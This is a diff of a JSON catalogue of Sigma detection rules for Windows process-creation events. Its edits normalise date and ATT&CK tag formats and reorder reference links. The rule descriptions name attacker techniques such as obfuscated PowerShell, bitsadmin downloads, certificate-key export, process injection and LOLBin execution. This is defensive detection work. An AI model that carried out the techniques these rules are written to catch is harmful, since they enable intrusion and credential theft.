-31378,7 +31385,7 @@ "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", + "creation_date": "2019-11-08", "falsepositive": [ "Unknown" ], @@ -31391,7 +31398,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_obfuscated_iex_commandline.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -31420,7 +31427,7 @@ "description": "Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe.\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/01", + "creation_date": "2023-08-01", "falsepositive": [ "Unknown" ], @@ -31435,7 +31442,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.011" ] }, @@ -31455,7 +31462,7 @@ "description": "Detects Access to Domain Group Policies stored in SYSVOL", "meta": { "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/04/09", + "creation_date": "2018-04-09", "falsepositive": [ "Administrative activity" ], @@ -31464,12 +31471,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", "https://adsecurity.org/?p=2288", + "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.006" ] }, @@ -31489,7 +31496,7 @@ "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Very Possible" ], @@ -31502,7 +31509,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -31522,7 +31529,7 @@ "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", "meta": { "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", - "creation_date": "2018/09/03", + "creation_date": "2018-09-03", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_powershell_base64_encoded_cmd.yml", "level": "high", @@ -31553,7 +31560,7 @@ "description": "Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Unlikely" ], @@ -31562,12 +31569,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -31596,7 +31603,7 @@ "description": "Detects uncommon child processes of \"BgInfo.exe\" which could be a sign of potential abuse of the binary to proxy execution via external VBScript", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -31605,14 +31612,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_uncommon_child_process.yml" ], "tags": [ "attack.execution", "attack.t1059.005", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -31647,7 +31654,7 @@ "description": "Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/18", + "creation_date": "2023-05-18", "falsepositive": [ "Legitimate certificate exports by administrators. Additional filters might be required." ], @@ -31662,7 +31669,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_export_certificate.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.execution", "attack.t1552.004", "attack.t1059.001" @@ -31691,7 +31698,7 @@ "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/24", + "creation_date": "2022-05-24", "falsepositive": [ "Unknown" ], @@ -31724,7 +31731,7 @@ "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Rare legitimate add to registry via cli (to these locations)" ], @@ -31739,7 +31746,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_susp_paths.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112", "attack.t1562.001" ] @@ -31767,7 +31774,7 @@ "description": "Detects the usage of attrib with the \"+s\" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -31782,7 +31789,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -31802,7 +31809,7 @@ "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/07", + "creation_date": "2021-08-07", "falsepositive": [ "Unknown" ], @@ -31811,10 +31818,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://youtu.be/5mqid-7zp8k?t=2481", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_mailboxexport_share.yml" ], "tags": [ @@ -31828,7 +31835,7 @@ "description": "Detects various command line and scripting engines/processes such as \"PowerShell\", \"Wscript\", \"Cmd\", etc. spawning a \"regsvr32\" instance.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/26", + "creation_date": "2023-05-26", "falsepositive": [ "Legitimate \".bat\", \".hta\", \".ps1\" or \".vbs\" scripts leverage legitimately often. Apply additional filter and exclusions as necessary", "Some legitimate Windows services" @@ -31838,12 +31845,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -31863,7 +31870,7 @@ "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", - "creation_date": "2022/04/28", + "creation_date": "2022-04-28", "falsepositive": [ "Legitimate installation of a new screensaver" ], @@ -31878,7 +31885,7 @@ ], "tags": [ "attack.t1218.011", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -31897,7 +31904,7 @@ "description": "Detects the execution of \"ConfigSecurityPolicy.EXE\", a binary part of Windows Defender used to manage settings in Windows Defender.\nUsers can configure different pilot collections for each of the co-management workloads.\nIt can be abused by attackers in order to upload or download files.\n", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -31930,7 +31937,7 @@ "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -31939,14 +31946,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", - "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -31976,7 +31983,7 @@ "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/11", + "creation_date": "2019-10-11", "falsepositive": [ "Unknown" ], @@ -32010,7 +32017,7 @@ "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", "meta": { "author": "frack113", - "creation_date": "2022/06/04", + "creation_date": "2022-06-04", "falsepositive": [ "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" ], @@ -32023,7 +32030,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_user32_dll.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", @@ -32033,7 +32040,7 @@ "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Some legitimate apps use this, but limited." ], @@ -32042,16 +32049,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -32081,7 +32088,7 @@ "description": "Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/13", + "creation_date": "2023-02-13", "falsepositive": [ "Unknown" ], @@ -32090,13 +32097,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "https://www.fortiguard.com/threat-signal-report/4718?s=09", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_regsvcs_uncommon_extension_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.009" ] }, @@ -32116,7 +32123,7 @@ "description": "Detects the execution of the \"jsc.exe\" (JScript Compiler).\nAttacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.\n", "meta": { "author": "frack113", - "creation_date": "2022/05/02", + "creation_date": "2022-05-02", "falsepositive": [ "Legitimate use to compile JScript by developers." ], @@ -32125,13 +32132,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/DissectMalware/status/998797808907046913", "https://www.phpied.com/make-your-javascript-a-windows-exe/", "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", - "https://twitter.com/DissectMalware/status/998797808907046913", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jsc_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -32151,7 +32158,7 @@ "description": "Detects attempts to enumerate file shares, printer shares and sessions using \"net.exe\" with the \"view\" flag.", "meta": { "author": "Endgame, JHasenbusch (ported for oscd.community)", - "creation_date": "2018/10/30", + "creation_date": "2018-10-30", "falsepositive": [ "Legitimate use of net.exe utility by legitimate user" ], @@ -32160,8 +32167,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_view_share_and_sessions_enum.yml" ], "tags": [ @@ -32185,7 +32192,7 @@ "description": "Detects a set of suspicious network related commands often used in recon stages", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/07", + "creation_date": "2022-02-07", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -32227,7 +32234,7 @@ "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", "meta": { "author": "Tim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)", - "creation_date": "2022/10/21", + "creation_date": "2022-10-21", "falsepositive": [ "File located in the AppData folder with trusted signature" ], @@ -32243,7 +32250,7 @@ "tags": [ "attack.t1566", "attack.t1566.001", - "attack.initial_access" + "attack.initial-access" ] }, "related": [ @@ -32269,7 +32276,7 @@ "description": "Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "System administrator usage", "Anti virus products", @@ -32284,7 +32291,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -32304,7 +32311,7 @@ "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/27", + "creation_date": "2021-05-27", "falsepositive": [ "Unlikely" ], @@ -32317,7 +32324,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_trustedinstaller.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -32337,7 +32344,7 @@ "description": "Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the \"ActivateMicrosoftApp\" Excel DCOM object.\n", "meta": { "author": "Aaron Stratton", - "creation_date": "2023/11/13", + "creation_date": "2023-11-13", "falsepositive": [ "Unknown" ], @@ -32346,14 +32353,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/office/vba/api/excel.xlmsapplication", "https://github.com/grayhatkiller/SharpExShell", + "https://learn.microsoft.com/en-us/office/vba/api/excel.xlmsapplication", "https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_excel_dcom_lateral_movement.yml" ], "tags": [ "attack.t1021.003", - "attack.lateral_movement" + "attack.lateral-movement" ] }, "related": [ @@ -32372,7 +32379,7 @@ "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/23", + "creation_date": "2021-10-23", "falsepositive": [ "Unknown" ], @@ -32381,13 +32388,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -32407,7 +32414,7 @@ "description": "Detects an uncommon parent process of \"LINK.EXE\".\nLink.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation.\nMultiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the \"LINK.EXE\" binary without checking its validity.\nThis would allow an attacker to sideload any binary with the name \"link.exe\" if one of the aforementioned tools get executed from a different location.\nBy filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/22", + "creation_date": "2022-08-22", "falsepositive": [ "Unknown" ], @@ -32420,7 +32427,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_link_uncommon_parent_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -32440,7 +32447,7 @@ "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Unlikely" ], @@ -32453,7 +32460,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1021.002", "attack.t1218.011" @@ -32482,7 +32489,7 @@ "description": "Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.", "meta": { "author": "Furkan Caliskan (@caliskanfurkan_)", - "creation_date": "2020/07/04", + "creation_date": "2020-07-04", "falsepositive": [ "Legitimate admin usage" ], @@ -32491,12 +32498,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -32516,7 +32523,7 @@ "description": "Detects usage of the copy builtin cmd command to copy files with the \".dmp\"/\".dump\" extension from a remote share", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -32529,7 +32536,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_copy_dmp_from_share.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "044ba588-dff4-4918-9808-3f95e8160606", @@ -32539,7 +32546,7 @@ "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/21", + "creation_date": "2021-01-21", "falsepositive": [ "Legitimate deinstallation by administrative staff" ], @@ -32552,7 +32559,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -32572,7 +32579,7 @@ "description": "Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.", "meta": { "author": "frack113, Tim Shelton (update fp)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unknown" ], @@ -32585,8 +32592,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elevated_system_shell_uncommon_parent.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -32607,7 +32614,7 @@ "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), @gott_cyber", - "creation_date": "2019/06/29", + "creation_date": "2019-06-29", "falsepositive": [ "Unknown" ], @@ -32616,14 +32623,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bohops/status/1276357235954909188?s=12", + "https://twitter.com/nas_bench/status/1535322450858233858", "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", + "https://twitter.com/bohops/status/1276357235954909188?s=12", "https://twitter.com/CyberRaiju/status/1273597319322058752", - "https://twitter.com/nas_bench/status/1535322450858233858", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -32643,7 +32650,7 @@ "description": "Detects execution of \"tar.exe\" in order to extract compressed file.\nAdversaries may abuse various utilities in order to decompress data to avoid detection.\n", "meta": { "author": "AdmU3", - "creation_date": "2023/12/19", + "creation_date": "2023-12-19", "falsepositive": [ "Likely" ], @@ -32653,8 +32660,8 @@ "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/chromeloader-malware/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://lolbas-project.github.io/lolbas/Binaries/Tar/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tar_extraction.yml" ], "tags": [ @@ -32687,7 +32694,7 @@ "description": "Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/23", + "creation_date": "2024-02-23", "falsepositive": [ "Unknown" ], @@ -32696,10 +32703,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", - "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708", "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_susp_file_sharing_domains.yml" ], "tags": [ @@ -32713,7 +32720,7 @@ "description": "Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/06", + "creation_date": "2022-09-06", "falsepositive": [ "Unknown" ], @@ -32746,7 +32753,7 @@ "description": "Detects inline Windows shell commands redirecting output via the \">\" symbol to a suspicious location.\nThis technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as \"hostname\" and \"dir\" to files for future exfiltration.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Legitimate admin or third party scripts used for diagnostic collection might generate some false positives" ], @@ -32759,7 +32766,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -32779,7 +32786,7 @@ "description": "Detects the execution of whoami.exe with suspicious parent processes.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/12", + "creation_date": "2021-08-12", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", @@ -32791,8 +32798,8 @@ "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml" ], "tags": [ @@ -32817,7 +32824,7 @@ "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag", "meta": { "author": "frack113, Florian Roth", - "creation_date": "2021/07/12", + "creation_date": "2021-07-12", "falsepositive": [ "Unknown" ], @@ -32826,19 +32833,19 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://twitter.com/gN3mes1s/status/941315826107510784", "https://github.com/SigmaHQ/sigma/issues/3742", + "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", "https://twitter.com/Hexacorn/status/776122138063409152", "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055.001", "attack.t1218.013" ] @@ -32866,7 +32873,7 @@ "description": "Detects execution of \"Tpmvscmgr.exe\" to create a new virtual smart card.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/15", + "creation_date": "2023-06-15", "falsepositive": [ "Legitimate usage by an administrator" ], @@ -32889,7 +32896,7 @@ "description": "Detects the pattern of UAC Bypass 